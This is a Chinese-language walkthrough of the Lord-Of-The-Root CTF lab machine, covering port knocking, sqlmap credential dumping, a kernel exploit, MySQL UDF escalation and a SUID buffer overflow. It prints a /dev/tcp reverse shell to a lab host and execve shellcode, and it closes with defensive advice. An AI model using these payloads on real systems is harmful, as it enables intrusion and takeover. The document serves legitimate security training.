Lord-Of-The-Root Ports-Knocking+SQLI+Kernel+BOF缓冲区溢出+Mysql_UDF+ASLR
字数 1108 2025-08-19 12:40:50

Lord-Of-The-Root 渗透测试实战教学文档

1. 信息收集阶段

1.1 初始扫描

目标系统IP: 192.168.8.104

使用Nmap进行初始扫描:

nmap -p- 192.168.8.104 --min-rate 1000 -sC -sV -Pn

扫描结果:

  • 开放端口:
    • 22/tcp: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3
    • 1337/tcp: 未知服务

操作系统信息:

  • Ubuntu Linux (内核版本未明确,但基于OpenSSH版本推测可能是Ubuntu 14.04)

1.2 端口敲门技术

目标系统使用了端口敲门(Port Knocking)技术保护1337端口:

knock 192.168.8.104 1 2 3 -d 300

敲门后再次扫描会发现1337端口开放。

2. Web应用渗透

2.1 Web目录发现

访问以下URL会自动跳转到一个页面:

http://192.168.8.104:1337/978345210/index.php

2.2 SQL注入攻击

使用sqlmap进行SQL注入检测:

sqlmap -u 'http://192.168.8.104:1337/978345210/index.php' \
--data='username=username&password=password&submit=' \
--level=5 --risk=3 --batch -D Webapp -T Users --dump

成功获取凭据:

  • 用户名: smeagol
  • 密码: MyPreciousR00t

3. 初始访问

使用获取的凭据通过SSH登录:

ssh smeagol@192.168.8.104

获取本地标志(Local.txt)内容:

wdio1901dad

4. 权限提升方法

4.1 内核漏洞提权

检查系统版本:

searchsploit Ubuntu 14.04 | grep "Privilege"

发现可用漏洞(如39166.c),编译并执行:

gcc 39166.c -o 39116.o
./39116.o

4.2 MySQL UDF提权

4.2.1 获取MySQL凭据

再次使用sqlmap获取MySQL凭据:

sqlmap -u 'http://192.168.8.104:1337/978345210/index.php' \
--data='username=username&password=password&submit=' \
--level=5 --risk=3 --batch -D mysql -T user --dump

获取到:

  • 用户名: root
  • 密码: darkshadow

4.2.2 检查提权条件

SELECT @@secure_file_priv;
SELECT @@version;
SHOW GRANTS;

需要满足:

  1. secure_file_priv为NULL或空
  2. MySQL版本≥5.1
  3. 当前用户有ALL PRIVILEGES或FILE权限

4.2.3 UDF提权步骤

  1. 编译恶意UDF库:
gcc -g -c H4CK13_UDF.c
gcc -g -shared -Wl,-soname,H4CK13_UDF.so -o H4CK13_UDF.so H4CK13_UDF.o -lc
  1. MySQL中操作:
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/H4CK13_UDF.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/H4CK13_UDF.so';
create function do_system returns integer soname 'H4CK13_UDF.so';
select do_system('bash -c "/bin/sh -i >& /dev/tcp/192.168.8.107/10032 0>&1"');

4.3 缓冲区溢出提权

4.3.1 发现SUID程序

在/SECRET/door1/目录下发现具有SUID权限的32位可执行文件。

4.3.2 检查ASLR状态

cat /proc/sys/kernel/randomize_va_space

值为2表示ASLR已启用。

4.3.3 漏洞利用步骤

  1. 创建测试模式:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
  1. 确定偏移量:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641

结果为171字节。

  1. 构造payload:
"A" * 171 + "\x90\xea\xff\xbf" * 4 + "\x90" * 3000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
  1. 自动化尝试:
for a in {1..5000}; do /SECRET/door2/file $(python -c 'print...'); done

5. 获取root权限

成功提权后获取root标志(Proot.txt)内容:

d1u9ad1j

关键知识点总结

  1. 端口敲门技术:保护隐藏服务端口的有效方法
  2. SQL注入:使用sqlmap自动化检测和利用
  3. UDF提权:MySQL高权限下的危险操作
  4. 缓冲区溢出:包括偏移计算、NOP滑道构造、小端字节序处理
  5. ASLR绕过:通过暴力破解方式绕过地址随机化

防御建议

  1. 及时更新系统和软件补丁
  2. 限制MySQL的FILE权限和UDF功能
  3. 使用更安全的端口保护机制替代简单端口敲门
  4. 编译时启用栈保护机制(如Canary)
  5. 对SUID程序进行严格审计
Lord-Of-The-Root 渗透测试实战教学文档 1. 信息收集阶段 1.1 初始扫描 目标系统IP: 192.168.8.104 使用Nmap进行初始扫描: 扫描结果: 开放端口: 22/tcp: OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 1337/tcp: 未知服务 操作系统信息: Ubuntu Linux (内核版本未明确,但基于OpenSSH版本推测可能是Ubuntu 14.04) 1.2 端口敲门技术 目标系统使用了端口敲门(Port Knocking)技术保护1337端口: 敲门后再次扫描会发现1337端口开放。 2. Web应用渗透 2.1 Web目录发现 访问以下URL会自动跳转到一个页面: 2.2 SQL注入攻击 使用sqlmap进行SQL注入检测: 成功获取凭据: 用户名: smeagol 密码: MyPreciousR00t 3. 初始访问 使用获取的凭据通过SSH登录: 获取本地标志(Local.txt)内容: 4. 权限提升方法 4.1 内核漏洞提权 检查系统版本: 发现可用漏洞(如39166.c),编译并执行: 4.2 MySQL UDF提权 4.2.1 获取MySQL凭据 再次使用sqlmap获取MySQL凭据: 获取到: 用户名: root 密码: darkshadow 4.2.2 检查提权条件 需要满足: secure_ file_ priv为NULL或空 MySQL版本≥5.1 当前用户有ALL PRIVILEGES或FILE权限 4.2.3 UDF提权步骤 编译恶意UDF库: MySQL中操作: 4.3 缓冲区溢出提权 4.3.1 发现SUID程序 在/SECRET/door1/目录下发现具有SUID权限的32位可执行文件。 4.3.2 检查ASLR状态 值为2表示ASLR已启用。 4.3.3 漏洞利用步骤 创建测试模式: 确定偏移量: 结果为171字节。 构造payload: 自动化尝试: 5. 获取root权限 成功提权后获取root标志(Proot.txt)内容: 关键知识点总结 端口敲门技术 :保护隐藏服务端口的有效方法 SQL注入 :使用sqlmap自动化检测和利用 UDF提权 :MySQL高权限下的危险操作 缓冲区溢出 :包括偏移计算、NOP滑道构造、小端字节序处理 ASLR绕过 :通过暴力破解方式绕过地址随机化 防御建议 及时更新系统和软件补丁 限制MySQL的FILE权限和UDF功能 使用更安全的端口保护机制替代简单端口敲门 编译时启用栈保护机制(如Canary) 对SUID程序进行严格审计